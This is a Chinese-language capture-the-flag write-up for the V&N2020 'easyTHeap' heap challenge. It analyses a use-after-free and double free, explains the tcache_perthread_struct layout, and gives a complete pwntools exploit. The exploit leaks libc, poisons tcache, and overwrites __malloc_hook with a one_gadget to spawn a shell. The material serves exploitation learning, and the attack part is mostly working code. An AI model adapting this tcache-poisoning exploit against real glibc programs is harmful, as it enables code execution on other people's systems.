[V&N2020 公开赛]easyTHeap tache

[V&N2020 公开赛]easyTHeap

现在会泄露libc了,但利用还是不太会,对结构体还不是熟悉,这也是第一次写tache,过两天再写一次

保护检查

 

 

 程序分析

add函数,创建一个chunk,可以执行7次

 

 edit函数,有null字节溢出

 

 show函数,打印

 

 delete函数,可以执行3次,并且有ufa漏洞

 

tcache_perthread_struct

/* There is one of these for each thread, which contains the
   per-thread cache (hence "tcache_perthread_struct").  Keeping
   overall size low is mildly important.  Note that COUNTS and ENTRIES
   are redundant (we could have just counted the linked list each
   time), this is for performance reasons.  */
typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

# define TCACHE_MAX_BINS                64

static __thread tcache_perthread_struct *tcache = NULL;

 

 漏洞分析

  1. 利用ufa,修改tcache的next指针为tcache_perthread_struct结构体(这个结构体是程序为了存储tcache信息,一开始就创建出来的结构体,size为0x251)
  2. 利用double free将chunk分配到tcache_perthread_struct后,修改成员函数的counts大于7,这样当释放tcache_perthread_struct时候将其放入unsorted bin中,获得main_arena地址
  3. 泄露完libc的地址后,再修改entries的地址,让相应的entries成员指向malloc_hook处,这样就可以挂钩子,从而get shell

 

exp

from pwn import *

context.log_level='debug'
#p=remote('node3.buuoj.cn',29400)
p=process('./vn_pwn_easyTHeap')
libc=ELF('./libc-2.27.so')
elf=ELF('./vn_pwn_easyTHeap')

def add(size):
    p.recvuntil('choice: ')
    p.sendline('1')
    p.recvuntil('size?')
    p.sendline(str(size))

def edit(idx,content):
    p.recvuntil('choice: ')
    p.sendline('2')
    p.recvuntil('idx')
    p.sendline(str(idx))
    p.recvuntil('content:')
    p.sendline(content)

def show(idx):
    p.recvuntil('choice: ')
    p.sendline('3')
    p.recvuntil('idx?')
    p.sendline(str(idx))

def delete(idx):
    p.recvuntil('choice: ')
    p.sendline('4')
    p.recvuntil('idx?')
    p.sendline(str(idx))

execve = 0x4f322
add(0x50)#0
delete(0)
delete(0)

show(0)
tache_chunk=u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))-0x250
add(0x50)#1
edit(1,p64(tache_chunk))

add(0x50)#2
add(0x50)#3
edit(3,'a'*0x28)

delete(3)

show(3)

libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3ebca0

exc_addr=libc_base+execve
realloc_addr=libc_base+libc.symbols['__libc_realloc']
malloc_hook_addr=libc_base+libc.symbols['__malloc_hook']

#gdb.attach(p)

add(0x50)#4
edit(4,'p'*0x48+p64(malloc_hook_addr-0x13))

#gdb.attach(p)

add(0x20)
edit(5, '\x00' * (0x13 - 0x8) + p64(exc_addr) + p64(realloc_addr + 8))

gdb.attach(p)

add(0x10)
#gdb.attach(p)
p.sendline('1')
#gdb.attach(p)


p.interactive()

 

posted @ 2020-10-28 20:06  PYozo_free  阅读(204)  评论(0编辑  收藏  举报